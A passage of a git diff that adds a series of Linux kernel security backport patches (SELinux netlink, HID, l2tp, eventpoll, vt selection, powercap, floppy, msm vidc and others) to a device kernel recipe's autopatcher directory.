sizeof(gosnd->card->driver)); + strlcpy(gosnd->card->longname, gosnd->card->shortname, +@@ -269,11 +265,8 @@ + &go7007_snd_capture_ops); + + ret = snd_card_register(gosnd->card); +- if (ret < 0) { +- snd_card_free(gosnd->card); +- kfree(gosnd); +- return ret; +- } ++ if (ret < 0) ++ goto free_card; + + gosnd->substream = NULL; + go->snd_context = gosnd; +@@ -281,6 +274,12 @@ + ++dev; + + return 0; ++ ++free_card: ++ snd_card_free(gosnd->card); ++free_snd: ++ kfree(gosnd); ++ return ret; + } + EXPORT_SYMBOL(go7007_snd_init); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0630.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0630.diff new file mode 100644 index 0000000..2b5aacc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0630.diff @@ -0,0 +1,14 @@ +diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c +index dd8793d..dca6fcd 100644 +--- a/net/packet/af_packet.c ++++ b/net/packet/af_packet.c +@@ -584,7 +584,8 @@ + msec = 1; + div = speed / 1000; + } +- } ++ } else ++ return DEFAULT_PRB_RETIRE_TOV; + + mbits = (blk_size_in_bytes * 8) / (1024 * 1024); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0631.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0631.diff new file mode 100644 index 0000000..b3342f1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0631.diff @@ -0,0 +1,87 @@ +diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c +index 7ae8018..69e465d 100644 +--- a/security/selinux/hooks.c ++++ b/security/selinux/hooks.c +@@ -4870,37 +4870,59 @@ + + static int selinux_nlmsg_perm(struct sock *sk, struct sk_buff *skb) + { +- int err = 0; +- u32 perm; ++ int rc = 0; ++ unsigned int msg_len; ++ unsigned int data_len = skb->len; ++ unsigned char *data = skb->data; + struct nlmsghdr *nlh; + struct sk_security_struct *sksec = sk->sk_security; ++ u16 sclass = sksec->sclass; ++ u32 perm; + +- if (skb->len < NLMSG_HDRLEN) { +- err = -EINVAL; +- goto out; +- } +- nlh = nlmsg_hdr(skb); ++ while (data_len >= nlmsg_total_size(0)) { ++ nlh = (struct nlmsghdr *)data; + +- err = selinux_nlmsg_lookup(sksec->sclass, nlh->nlmsg_type, &perm); +- if (err) { +- if (err == -EINVAL) { +- printk(KERN_WARNING +- "SELinux: unrecognized netlink message:" +- " protocol=%hu nlmsg_type=%hu sclass=%hu\n", +- sk->sk_protocol, nlh->nlmsg_type, sksec->sclass); +- if (!selinux_enforcing || security_get_allow_unknown()) +- err = 0; ++ /* NOTE: the nlmsg_len field isn't reliably set by some netlink ++ * users which means we can't reject skb's with bogus ++ * length fields; our solution is to follow what ++ * netlink_rcv_skb() does and simply skip processing at ++ * messages with length fields that are clearly junk ++ */ ++ if (nlh->nlmsg_len < NLMSG_HDRLEN || nlh->nlmsg_len > data_len) ++ return 0; ++ ++ rc = selinux_nlmsg_lookup(sclass, nlh->nlmsg_type, &perm); ++ if (rc == 0) { ++ rc = sock_has_perm(current, sk, perm); ++ if (rc) ++ return rc; ++ } else if (rc == -EINVAL) { ++ /* -EINVAL is a missing msg/perm mapping */ ++ pr_warn_ratelimited("SELinux: unrecognized netlink" ++ " message: protocol=%hu nlmsg_type=%hu sclass=%s" ++ " pid=%d comm=%s\n", ++ sk->sk_protocol, nlh->nlmsg_type, ++ secclass_map[sclass - 1].name, ++ task_pid_nr(current), current->comm); ++ if (selinux_enforcing && !security_get_allow_unknown()) ++ return rc; ++ rc = 0; ++ } else if (rc == -ENOENT) { ++ /* -ENOENT is a missing socket/class mapping, ignore */ ++ rc = 0; ++ } else { ++ return rc; + } + +- /* Ignore */ +- if (err == -ENOENT) +- err = 0; +- goto out; ++ /* move to the next message after applying netlink padding */ ++ msg_len = NLMSG_ALIGN(nlh->nlmsg_len); ++ if (msg_len >= data_len) ++ return 0; ++ data_len -= msg_len; ++ data += msg_len; + } + +- err = sock_has_perm(current, sk, perm); +-out: +- return err; ++ return rc; + } + + #ifdef CONFIG_NETFILTER diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0632.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0632.diff new file mode 100644 index 0000000..0c63c46 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0632.diff @@ -0,0 +1,30 @@ +diff --git a/drivers/media/usb/uvc/uvc_driver.c b/drivers/media/usb/uvc/uvc_driver.c +index 11df41e..ff18563 100644 +--- a/drivers/media/usb/uvc/uvc_driver.c ++++ b/drivers/media/usb/uvc/uvc_driver.c +@@ -1369,6 +1369,11 @@ + break; + if (forward == prev) + continue; ++ if (forward->chain.next || forward->chain.prev) { ++ uvc_trace(UVC_TRACE_DESCR, "Found reference to " ++ "entity %d already in chain.\n", forward->id); ++ return -EINVAL; ++ } + + switch (UVC_ENTITY_TYPE(forward)) { + case UVC_VC_EXTENSION_UNIT: +@@ -1450,6 +1455,13 @@ + return -1; + } + ++ if (term->chain.next || term->chain.prev) { ++ uvc_trace(UVC_TRACE_DESCR, "Found reference to " ++ "entity %d already in chain.\n", ++ term->id); ++ return -EINVAL; ++ } ++ + if (uvc_trace_param & UVC_TRACE_PROBE) + printk(" %d", term->id); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0633.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0633.diff new file mode 100644 index 0000000..2fff42e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0633.diff @@ -0,0 +1,58 @@ +diff --git a/drivers/pinctrl/devicetree.c b/drivers/pinctrl/devicetree.c +index 0bbf7d7..897adae 100644 +--- a/drivers/pinctrl/devicetree.c ++++ b/drivers/pinctrl/devicetree.c +@@ -40,6 +40,13 @@ + static void dt_free_map(struct pinctrl_dev *pctldev, + struct pinctrl_map *map, unsigned num_maps) + { ++ int i; ++ ++ for (i = 0; i < num_maps; ++i) { ++ kfree_const(map[i].dev_name); ++ map[i].dev_name = NULL; ++ } ++ + if (pctldev) { + const struct pinctrl_ops *ops = pctldev->desc->pctlops; + ops->dt_free_map(pctldev, map, num_maps); +@@ -73,7 +80,13 @@ + + /* Initialize common mapping table entry fields */ + for (i = 0; i < num_maps; i++) { +- map[i].dev_name = dev_name(p->dev); ++ const char *devname; ++ ++ devname = kstrdup_const(dev_name(p->dev), GFP_KERNEL); ++ if (!devname) ++ goto err_free_map; ++ ++ map[i].dev_name = devname; + map[i].name = statename; + if (pctldev) + map[i].ctrl_dev_name = dev_name(pctldev->dev); +@@ -81,11 +94,8 @@ + + /* Remember the converted mapping table entries */ + dt_map = kzalloc(sizeof(*dt_map), GFP_KERNEL); +- if (!dt_map) { +- dev_err(p->dev, "failed to alloc struct pinctrl_dt_map\n"); +- dt_free_map(pctldev, map, num_maps); +- return -ENOMEM; +- } ++ if (!dt_map) ++ goto err_free_map; + + dt_map->pctldev = pctldev; + dt_map->map = map; +@@ -93,6 +103,10 @@ + list_add_tail(&dt_map->node, &p->dt_maps); + + return pinctrl_register_map(map, num_maps, false); ++ ++err_free_map: ++ dt_free_map(pctldev, map, num_maps); ++ return -ENOMEM; + } + + struct pinctrl_dev *of_pinctrl_get(struct device_node *np) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0634.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0634.diff new file mode 100644 index 0000000..b4f8bde --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0634.diff @@ -0,0 +1,36 @@ +diff --git a/net/l2tp/l2tp_core.c b/net/l2tp/l2tp_core.c +index 11c61c0..f7ce680 100644 +--- a/net/l2tp/l2tp_core.c ++++ b/net/l2tp/l2tp_core.c +@@ -1347,6 +1347,9 @@ + + hlist_del_init(&session->hlist); + ++ if (test_and_set_bit(0, &session->dead)) ++ goto again; ++ + if (session->ref != NULL) + (*session->ref)(session); + +@@ -1798,6 +1801,9 @@ + */ + int l2tp_session_delete(struct l2tp_session *session) + { ++ if (test_and_set_bit(0, &session->dead)) ++ return 0; ++ + if (session->ref) + (*session->ref)(session); + __l2tp_session_unhash(session); +diff --git a/net/l2tp/l2tp_core.h b/net/l2tp/l2tp_core.h +index 8c6471d..29a577b 100644 +--- a/net/l2tp/l2tp_core.h ++++ b/net/l2tp/l2tp_core.h +@@ -85,6 +85,7 @@ + struct l2tp_session { + int magic; /* should be + * L2TP_SESSION_MAGIC */ ++ long dead; + + struct l2tp_tunnel *tunnel; /* back pointer to tunnel + * context */ diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0635.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0635.diff new file mode 100644 index 0000000..240b159 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0635.diff @@ -0,0 +1,36 @@ +diff --git a/drivers/hid/hid-input.c b/drivers/hid/hid-input.c +index d835893..7b07eda 100644 +--- a/drivers/hid/hid-input.c ++++ b/drivers/hid/hid-input.c +@@ -956,9 +956,15 @@ + } + + mapped: +- if (device->driver->input_mapped && device->driver->input_mapped(device, +- hidinput, field, usage, &bit, &max) < 0) +- goto ignore; ++ if (device->driver->input_mapped && ++ device->driver->input_mapped(device, hidinput, field, usage, ++ &bit, &max) < 0) { ++ /* ++ * The driver indicated that no further generic handling ++ * of the usage is desired. ++ */ ++ return; ++ } + + set_bit(usage->type, input->evbit); + +@@ -1017,9 +1023,11 @@ + set_bit(MSC_SCAN, input->mscbit); + } + +-ignore: + return; + ++ignore: ++ usage->type = 0; ++ usage->code = 0; + } + + void hidinput_hid_event(struct hid_device *hid, struct hid_field *field, struct hid_usage *usage, __s32 value) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0636.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0636.diff new file mode 100644 index 0000000..a390561 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0636.diff @@ -0,0 +1,142 @@ +diff --git a/kernel/auditfilter.c b/kernel/auditfilter.c +index 6c9470d3..d5891ca 100644 +--- a/kernel/auditfilter.c ++++ b/kernel/auditfilter.c +@@ -428,6 +428,7 @@ + entry->rule.vers_ops = 2; + for (i = 0; i < data->field_count; i++) { + struct audit_field *f = &entry->rule.fields[i]; ++ u32 f_val; + + err = -EINVAL; + +@@ -436,12 +437,12 @@ + goto exit_free; + + f->type = data->fields[i]; +- f->val = data->values[i]; ++ f_val = data->values[i]; + + /* Support legacy tests for a valid loginuid */ +- if ((f->type == AUDIT_LOGINUID) && (f->val == AUDIT_UID_UNSET)) { ++ if ((f->type == AUDIT_LOGINUID) && (f_val == AUDIT_UID_UNSET)) { + f->type = AUDIT_LOGINUID_SET; +- f->val = 0; ++ f_val = 0; + entry->rule.pflags |= AUDIT_LOGINUID_LEGACY; + } + +@@ -457,7 +458,7 @@ + case AUDIT_SUID: + case AUDIT_FSUID: + case AUDIT_OBJ_UID: +- f->uid = make_kuid(current_user_ns(), f->val); ++ f->uid = make_kuid(current_user_ns(), f_val); + if (!uid_valid(f->uid)) + goto exit_free; + break; +@@ -466,11 +467,12 @@ + case AUDIT_SGID: + case AUDIT_FSGID: + case AUDIT_OBJ_GID: +- f->gid = make_kgid(current_user_ns(), f->val); ++ f->gid = make_kgid(current_user_ns(), f_val); + if (!gid_valid(f->gid)) + goto exit_free; + break; + case AUDIT_ARCH: ++ f->val = f_val; + entry->rule.arch_f = f; + break; + case AUDIT_SUBJ_USER: +@@ -483,11 +485,13 @@ + case AUDIT_OBJ_TYPE: + case AUDIT_OBJ_LEV_LOW: + case AUDIT_OBJ_LEV_HIGH: +- str = audit_unpack_string(&bufp, &remain, f->val); +- if (IS_ERR(str)) ++ str = audit_unpack_string(&bufp, &remain, f_val); ++ if (IS_ERR(str)) { ++ err = PTR_ERR(str); + goto exit_free; +- entry->rule.buflen += f->val; +- ++ } ++ entry->rule.buflen += f_val; ++ f->lsm_str = str; + err = security_audit_rule_init(f->type, f->op, str, + (void **)&f->lsm_rule); + /* Keep currently invalid fields around in case they +@@ -496,50 +500,54 @@ + pr_warn("audit rule for LSM \'%s\' is invalid\n", + str); + err = 0; +- } +- if (err) { +- kfree(str); ++ } else if (err) + goto exit_free; +- } else +- f->lsm_str = str; + break; + case AUDIT_WATCH: +- str = audit_unpack_string(&bufp, &remain, f->val); +- if (IS_ERR(str)) ++ str = audit_unpack_string(&bufp, &remain, f_val); ++ if (IS_ERR(str)) { ++ err = PTR_ERR(str); + goto exit_free; +- entry->rule.buflen += f->val; +- +- err = audit_to_watch(&entry->rule, str, f->val, f->op); ++ } ++ err = audit_to_watch(&entry->rule, str, f_val, f->op); + if (err) { + kfree(str); + goto exit_free; + } ++ entry->rule.buflen += f_val; + break; + case AUDIT_DIR: +- str = audit_unpack_string(&bufp, &remain, f->val); +- if (IS_ERR(str)) ++ str = audit_unpack_string(&bufp, &remain, f_val); ++ if (IS_ERR(str)) { ++ err = PTR_ERR(str); + goto exit_free; +- entry->rule.buflen += f->val; +- ++ } + err = audit_make_tree(&entry->rule, str, f->op); + kfree(str); + if (err) + goto exit_free; ++ entry->rule.buflen += f_val; + break; + case AUDIT_INODE: ++ f->val = f_val; + err = audit_to_inode(&entry->rule, f); + if (err) + goto exit_free; + break; + case AUDIT_FILTERKEY: +- if (entry->rule.filterkey || f->val > AUDIT_MAX_KEY_LEN) ++ if (entry->rule.filterkey || f_val > AUDIT_MAX_KEY_LEN) + goto exit_free; +- str = audit_unpack_string(&bufp, &remain, f->val); +- if (IS_ERR(str)) ++ str = audit_unpack_string(&bufp, &remain, f_val); ++ if (IS_ERR(str)) { ++ err = PTR_ERR(str); + goto exit_free; +- entry->rule.buflen += f->val; ++ } ++ entry->rule.buflen += f_val; + entry->rule.filterkey = str; + break; ++ default: ++ f->val = f_val; ++ break; + } + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0637.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0637.diff new file mode 100644 index 0000000..26b5024 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0637.diff @@ -0,0 +1,104 @@ +diff --git a/drivers/hid/hid-input.c b/drivers/hid/hid-input.c +index 7b07eda..d9d1326 100644 +--- a/drivers/hid/hid-input.c ++++ b/drivers/hid/hid-input.c +@@ -956,6 +956,10 @@ + } + + mapped: ++ /* Mapping failed, bail out */ ++ if (!bit) ++ return; ++ + if (device->driver->input_mapped && + device->driver->input_mapped(device, hidinput, field, usage, + &bit, &max) < 0) { +diff --git a/drivers/hid/hid-multitouch.c b/drivers/hid/hid-multitouch.c +index fb0d0c6..902b59e 100644 +--- a/drivers/hid/hid-multitouch.c ++++ b/drivers/hid/hid-multitouch.c +@@ -511,6 +511,8 @@ + case HID_UP_BUTTON: + code = BTN_MOUSE + ((usage->hid - 1) & HID_USAGE); + hid_map_usage(hi, usage, bit, max, EV_KEY, code); ++ if (!*bit) ++ return -1; + input_set_capability(hi->input, EV_KEY, code); + return 1; + +diff --git a/include/linux/hid.h b/include/linux/hid.h +index e39551b..92a0ba0 100644 +--- a/include/linux/hid.h ++++ b/include/linux/hid.h +@@ -835,34 +835,49 @@ + * @max: maximal valid usage->code to consider later (out parameter) + * @type: input event type (EV_KEY, EV_REL, ...) + * @c: code which corresponds to this usage and type ++ * ++ * The value pointed to by @bit will be set to NULL if either @type is ++ * an unhandled event type, or if @c is out of range for @type. This ++ * can be used as an error condition. + */ + static inline void hid_map_usage(struct hid_input *hidinput, + struct hid_usage *usage, unsigned long **bit, int *max, +- __u8 type, __u16 c) ++ __u8 type, unsigned int c) + { + struct input_dev *input = hidinput->input; +- +- usage->type = type; +- usage->code = c; ++ unsigned long *bmap = NULL; ++ unsigned int limit = 0; + + switch (type) { + case EV_ABS: +- *bit = input->absbit; +- *max = ABS_MAX; ++ bmap = input->absbit; ++ limit = ABS_MAX; + break; + case EV_REL: +- *bit = input->relbit; +- *max = REL_MAX; ++ bmap = input->relbit; ++ limit = REL_MAX; + break; + case EV_KEY: +- *bit = input->keybit; +- *max = KEY_MAX; ++ bmap = input->keybit; ++ limit = KEY_MAX; + break; + case EV_LED: +- *bit = input->ledbit; +- *max = LED_MAX; ++ bmap = input->ledbit; ++ limit = LED_MAX; + break; + } ++ ++ if (unlikely(c > limit || !bmap)) { ++ pr_warn_ratelimited("%s: Invalid code %d type %d\n", ++ input->name, c, type); ++ *bit = NULL; ++ return; ++ } ++ ++ usage->type = type; ++ usage->code = c; ++ *max = limit; ++ *bit = bmap; + } + + /** +@@ -876,7 +891,8 @@ + __u8 type, __u16 c) + { + hid_map_usage(hidinput, usage, bit, max, type, c); +- clear_bit(c, *bit); ++ if (*bit) ++ clear_bit(usage->code, *bit); + } + + /** diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0638.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0638.diff new file mode 100644 index 0000000..3ebb0e2 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0638.diff @@ -0,0 +1,38 @@ +diff --git a/fs/eventpoll.c b/fs/eventpoll.c +index 538d815..328eafc 100644 +--- a/fs/eventpoll.c ++++ b/fs/eventpoll.c +@@ -1724,9 +1724,11 @@ + * not already there, and calling reverse_path_check() + * during ep_insert(). + */ +- if (list_empty(&epi->ffd.file->f_tfile_llink)) ++ if (list_empty(&epi->ffd.file->f_tfile_llink)) { ++ get_file(epi->ffd.file); + list_add(&epi->ffd.file->f_tfile_llink, + &tfile_check_list); ++ } + } + } + mutex_unlock(&ep->mtx); +@@ -1770,6 +1772,7 @@ + file = list_first_entry(&tfile_check_list, struct file, + f_tfile_llink); + list_del_init(&file->f_tfile_llink); ++ fput(file); + } + INIT_LIST_HEAD(&tfile_check_list); + } +@@ -1911,9 +1914,11 @@ + clear_tfile_check_list(); + goto error_tgt_fput; + } +- } else ++ } else { ++ get_file(tf.file); + list_add(&tf.file->f_tfile_llink, + &tfile_check_list); ++ } + mutex_lock_nested(&ep->mtx, 0); + if (is_file_epoll(tf.file)) { + tep = tf.file->private_data; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0639-4d40559e5966-PATCH msm vidc remove additional checks in responsehandler.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0639-4d40559e5966-PATCH msm vidc remove additional checks in responsehandler.patch new file mode 100644 index 0000000..6b32ca7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0639-4d40559e5966-PATCH msm vidc remove additional checks in responsehandler.patch @@ -0,0 +1,69 @@ +From 4d40559e59663e2bd985bc1486fa13bd4ab84703 Mon Sep 17 00:00:00 2001 +From: Govindaraj Rajagopal +Date: Fri, 13 Dec 2019 16:15:51 +0530 +Subject: [PATCH] msm: vidc: remove additional checks in response_handler + +possibility of OOB access on device->response_pkt in +__response_handler. for e.x if msg queue contains 1000 +messages and all 1000 were read and queue is empty. +So __get_q_size api will return zero and _iface_msgq_read +will go in an infinite loop, even if packet_count +== max_packets. + +Change-Id: I3c0fb095feff0ba5d4d6dab65ed9d5111f1b6f05 +Signed-off-by: Govindaraj Rajagopal +CVE-2020-3625 +Signed-off-by: Kevin F. Haggerty +--- + drivers/media/platform/msm/vidc/venus_hfi.c | 31 +-------------------- + 1 file changed, 1 insertion(+), 30 deletions(-) + +diff --git a/drivers/media/platform/msm/vidc/venus_hfi.c b/drivers/media/platform/msm/vidc/venus_hfi.c +index c4c271dc1347..6e953919411b 100644 +--- a/drivers/media/platform/msm/vidc/venus_hfi.c ++++ b/drivers/media/platform/msm/vidc/venus_hfi.c +@@ -2369,34 +2369,6 @@ static int venus_hfi_core_release(void *dev) + return rc; + } + +-static int __get_q_size(struct venus_hfi_device *dev, unsigned int q_index) +-{ +- struct hfi_queue_header *queue; +- struct vidc_iface_q_info *q_info; +- u32 write_ptr, read_ptr; +- +- if (q_index >= VIDC_IFACEQ_NUMQ) { +- dprintk(VIDC_ERR, "Invalid q index: %d\n", q_index); +- return -ENOENT; +- } +- +- q_info = &dev->iface_queues[q_index]; +- if (!q_info) { +- dprintk(VIDC_ERR, "cannot read shared Q's\n"); +- return -ENOENT; +- } +- +- queue = (struct hfi_queue_header *)q_info->q_hdr; +- if (!queue) { +- dprintk(VIDC_ERR, "queue not present\n"); +- return -ENOENT; +- } +- +- write_ptr = (u32)queue->qhdr_write_idx; +- read_ptr = (u32)queue->qhdr_read_idx; +- return read_ptr - write_ptr; +-} +- + static void __core_clear_interrupt(struct venus_hfi_device *device) + { + u32 intr_status = 0; +@@ -3639,8 +3611,7 @@ static int __response_handler(struct venus_hfi_device *device) + *session_id = session->session_id; + } + +- if (packet_count >= max_packets && +- __get_q_size(device, VIDC_IFACEQ_MSGQ_IDX)) { ++ if (packet_count >= max_packets) { + dprintk(VIDC_WARN, + "Too many packets in message queue to handle at once, deferring read\n"); + break; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0640.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0640.diff new file mode 100644 index 0000000..23971c8 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0640.diff @@ -0,0 +1,14 @@ +diff --git a/drivers/video/console/vgacon.c b/drivers/video/console/vgacon.c +index 598ec75..e5231dd 100644 +--- a/drivers/video/console/vgacon.c ++++ b/drivers/video/console/vgacon.c +@@ -1330,6 +1330,9 @@ + static int vgacon_resize(struct vc_data *c, unsigned int width, + unsigned int height, unsigned int user) + { ++ if ((width << 1) * height > vga_vram_size) ++ return -EINVAL; ++ + if (width % 2 || width > screen_info.orig_video_cols || + height > (screen_info.orig_video_lines * vga_default_font_height)/ + c->vc_font.height) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0641.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0641.diff new file mode 100644 index 0000000..5e42925 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0641.diff @@ -0,0 +1,96 @@ +diff --git a/drivers/tty/vt/selection.c b/drivers/tty/vt/selection.c +index ea27804..df0f610 100644 +--- a/drivers/tty/vt/selection.c ++++ b/drivers/tty/vt/selection.c +@@ -13,6 +13,7 @@ + #include + #include + #include ++#include + #include + #include + +@@ -40,6 +41,7 @@ + static int sel_end; + static int sel_buffer_lth; + static char *sel_buffer; ++static DEFINE_MUTEX(sel_lock); + + /* clear_selection, highlight and highlight_pointer can be called + from interrupt (via scrollback/front) */ +@@ -163,7 +165,7 @@ + char *bp, *obp; + int i, ps, pe, multiplier; + u16 c; +- int mode; ++ int mode, ret = 0; + + poke_blanked_console(); + +@@ -203,6 +205,7 @@ + pe = tmp; + } + ++ mutex_lock(&sel_lock); + if (sel_cons != vc_cons[fg_console].d) { + clear_selection(); + sel_cons = vc_cons[fg_console].d; +@@ -248,9 +251,10 @@ + break; + case TIOCL_SELPOINTER: + highlight_pointer(pe); +- return 0; ++ goto unlock; + default: +- return -EINVAL; ++ ret = -EINVAL; ++ goto unlock; + } + + /* remove the pointer */ +@@ -272,7 +276,7 @@ + else if (new_sel_start == sel_start) + { + if (new_sel_end == sel_end) /* no action required */ +- return 0; ++ goto unlock; + else if (new_sel_end > sel_end) /* extend to right */ + highlight(sel_end + 2, new_sel_end); + else /* contract from right */ +@@ -299,7 +303,8 @@ + if (!bp) { + printk(KERN_WARNING "selection: kmalloc() failed\n"); + clear_selection(); +- return -ENOMEM; ++ ret = -ENOMEM; ++ goto unlock; + } + kfree(sel_buffer); + sel_buffer = bp; +@@ -324,7 +329,9 @@ + } + } + sel_buffer_lth = bp - sel_buffer; +- return 0; ++unlock: ++ mutex_unlock(&sel_lock); ++ return ret; + } + + /* Insert the contents of the selection buffer into the +@@ -350,6 +357,7 @@ + tty_buffer_lock_exclusive(&vc->port); + + add_wait_queue(&vc->paste_wait, &wait); ++ mutex_lock(&sel_lock); + while (sel_buffer && sel_buffer_lth > pasted) { + set_current_state(TASK_INTERRUPTIBLE); + if (test_bit(TTY_THROTTLED, &tty->flags)) { +@@ -361,6 +369,7 @@ + count); + pasted += count; + } ++ mutex_unlock(&sel_lock); + remove_wait_queue(&vc->paste_wait, &wait); + __set_current_state(TASK_RUNNING); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0642.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0642.diff new file mode 100644 index 0000000..4d14cfa --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0642.diff @@ -0,0 +1,45 @@ +diff --git a/drivers/tty/vt/selection.c b/drivers/tty/vt/selection.c +index df0f610..cb0f79c 100644 +--- a/drivers/tty/vt/selection.c ++++ b/drivers/tty/vt/selection.c +@@ -158,7 +158,7 @@ + * The entire selection process is managed under the console_lock. It's + * a lot under the lock but its hardly a performance path + */ +-int set_selection(const struct tiocl_selection __user *sel, struct tty_struct *tty) ++static int __set_selection(const struct tiocl_selection __user *sel, struct tty_struct *tty) + { + struct vc_data *vc = vc_cons[fg_console].d; + int sel_mode, new_sel_start, new_sel_end, spc; +@@ -334,6 +334,17 @@ + return ret; + } + ++int set_selection(const struct tiocl_selection __user *v, struct tty_struct *tty) ++{ ++ int ret; ++ ++ console_lock(); ++ ret = __set_selection(v, tty); ++ console_unlock(); ++ ++ return ret; ++} ++ + /* Insert the contents of the selection buffer into the + * queue of the tty associated with the current console. + * Invoked by ioctl(). +diff --git a/drivers/tty/vt/vt.c b/drivers/tty/vt/vt.c +index cbb4d1a..ae1c651 100644 +--- a/drivers/tty/vt/vt.c ++++ b/drivers/tty/vt/vt.c +@@ -2666,9 +2666,7 @@ + switch (type) + { + case TIOCL_SETSEL: +- console_lock(); + ret = set_selection((struct tiocl_selection __user *)(p+1), tty); +- console_unlock(); + break; + case TIOCL_PASTESEL: + ret = paste_selection(tty); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0643.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0643.diff new file mode 100644 index 0000000..8597cf5 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0643.diff @@ -0,0 +1,66 @@ +diff --git a/drivers/tty/vt/selection.c b/drivers/tty/vt/selection.c +index cb0f79c..fec68ff 100644 +--- a/drivers/tty/vt/selection.c ++++ b/drivers/tty/vt/selection.c +@@ -205,7 +205,6 @@ + pe = tmp; + } + +- mutex_lock(&sel_lock); + if (sel_cons != vc_cons[fg_console].d) { + clear_selection(); + sel_cons = vc_cons[fg_console].d; +@@ -251,10 +250,9 @@ + break; + case TIOCL_SELPOINTER: + highlight_pointer(pe); +- goto unlock; ++ return 0; + default: +- ret = -EINVAL; +- goto unlock; ++ return -EINVAL; + } + + /* remove the pointer */ +@@ -276,7 +274,7 @@ + else if (new_sel_start == sel_start) + { + if (new_sel_end == sel_end) /* no action required */ +- goto unlock; ++ return 0; + else if (new_sel_end > sel_end) /* extend to right */ + highlight(sel_end + 2, new_sel_end); + else /* contract from right */ +@@ -303,8 +301,7 @@ + if (!bp) { + printk(KERN_WARNING "selection: kmalloc() failed\n"); + clear_selection(); +- ret = -ENOMEM; +- goto unlock; ++ return -ENOMEM; + } + kfree(sel_buffer); + sel_buffer = bp; +@@ -329,8 +326,7 @@ + } + } + sel_buffer_lth = bp - sel_buffer; +-unlock: +- mutex_unlock(&sel_lock); ++ + return ret; + } + +@@ -338,9 +334,11 @@ + { + int ret; + ++ mutex_lock(&sel_lock); + console_lock(); + ret = __set_selection(v, tty); + console_unlock(); ++ mutex_unlock(&sel_lock); + + return ret; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0644.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0644.diff new file mode 100644 index 0000000..1c26388 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0644.diff @@ -0,0 +1,16 @@ +diff --git a/drivers/powercap/powercap_sys.c b/drivers/powercap/powercap_sys.c +index fd12ccc..2313bb9 100644 +--- a/drivers/powercap/powercap_sys.c ++++ b/drivers/powercap/powercap_sys.c +@@ -379,9 +379,9 @@ + &dev_attr_max_energy_range_uj.attr; + if (power_zone->ops->get_energy_uj) { + if (power_zone->ops->reset_energy_uj) +- dev_attr_energy_uj.attr.mode = S_IWUSR | S_IRUGO; ++ dev_attr_energy_uj.attr.mode = S_IWUSR | S_IRUSR; + else +- dev_attr_energy_uj.attr.mode = S_IRUGO; ++ dev_attr_energy_uj.attr.mode = S_IRUSR; + power_zone->zone_dev_attrs[count++] = + &dev_attr_energy_uj.attr; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0645.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0645.diff new file mode 100644 index 0000000..b132f83 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0645.diff @@ -0,0 +1,24 @@ +diff --git a/drivers/block/floppy.c b/drivers/block/floppy.c +index 07517be..be7eee1 100644 +--- a/drivers/block/floppy.c ++++ b/drivers/block/floppy.c +@@ -848,14 +848,17 @@ + /* selects the fdc and drive, and enables the fdc's input/dma. */ + static void set_fdc(int drive) + { ++ unsigned int new_fdc = fdc; ++ + if (drive >= 0 && drive < N_DRIVE) { +- fdc = FDC(drive); ++ new_fdc = FDC(drive); + current_drive = drive; + } +- if (fdc != 1 && fdc != 0) { ++ if (new_fdc >= N_FDC) { + pr_info("bad fdc value\n"); + return; + } ++ fdc = new_fdc; + set_dor(fdc, ~0, 8); + #if N_FDC > 1 + set_dor(1 - fdc, ~8, 0); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0646.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0646.diff new file mode 100644 index 0000000..fe5d9f0 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0646.diff @@ -0,0 +1,41 @@ +diff --git 